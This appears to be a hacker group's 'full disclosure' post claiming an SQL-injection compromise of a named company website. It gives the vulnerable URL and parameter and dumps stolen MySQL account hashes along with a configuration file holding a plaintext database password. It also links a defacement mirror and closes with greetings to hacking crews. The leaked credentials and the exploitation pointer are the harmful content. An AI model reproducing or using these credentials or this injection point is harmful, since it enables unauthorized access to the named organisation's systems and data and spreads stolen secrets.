Mx.

_____                      _____ _   _ ___________  ___
|_   _|                    |_   _| \ | |_   _| ___ \/ _ \
  | | ___  __ _ _ __ ___     | | |  \| | | | | |_/ / /_\ \
  | |/ _ \/ _` | '_ ` _ \    | | | . ` | | | |    /|  _  |
  | |  __/ (_| | | | | | |  _| |_| |\  | | | | |\ \| | | |
  \_/\___|\__,_|_| |_| |_|  \___/\_| \_/ \_/ \_| \_\_| |_/

          ====================================FULL DISCLOSURE=====================================

#Author: Mx.
#Target: http://www.sharp.com.my/
#Method: SQL injection
#Vulnerable Link: http://www.sharp.com.my/product.php?ProductID=-LNLS2A1S

INFO:

#Login info:

#########################################################
root:*3A8F41D9DFA1D8A8D40C6F388D841C9003728CBE:localhost
sharpcmm:*233FDE77CA6CA29883013CFEC094BEB592FF2064:%
sharpcmm:*233FDE77CA6CA29883013CFEC094BEB592FF2064:localhost
egsupport:*3A8F41D9DFA1D8A8D40C6F388D841C9003728CBE:localhost
#########################################################

#Configuration file:

#########################################################
<?php
# Database Configurations
# -----------------------
# MySQL Server Host Name - Site
$cfgDBHost = "localhost" ;

# MySQL Server User - Site
$cfgDBUser = "sharpcmm" ;

# MySQL Server Password - Site
$cfgDBPass = "2sf4wy" ;

# MySQL Database Name - Site
$cfgDBName = "sharp" ;

# Web Site Configurations
# -----------------------
# Web Site Root
$cfg["root"]  = "/var/www/html/" ;
$cfg["web_root"] = "http://www.sharp.com.my" ;

$cfg["title"] = "SHARP......be sharp" ;
?>
##########################################################

#Zone-h Mirror:
##########################################################
http://zone-h.com/mirror/id/15697402
##########################################################



      =====================================END OF DISCLOSURE======================================
Greetz to:

Team INTRA: SkyNet,Hac,MrX,thethatguy,m00dy,Anli,HaxOr,?a¢???,Kaldorei,Gringorie,exc3llent,VipVince.

Zer0Lulz: Zer0Pwn,HoodedRobin,-Downfall.

My bro: Yin <3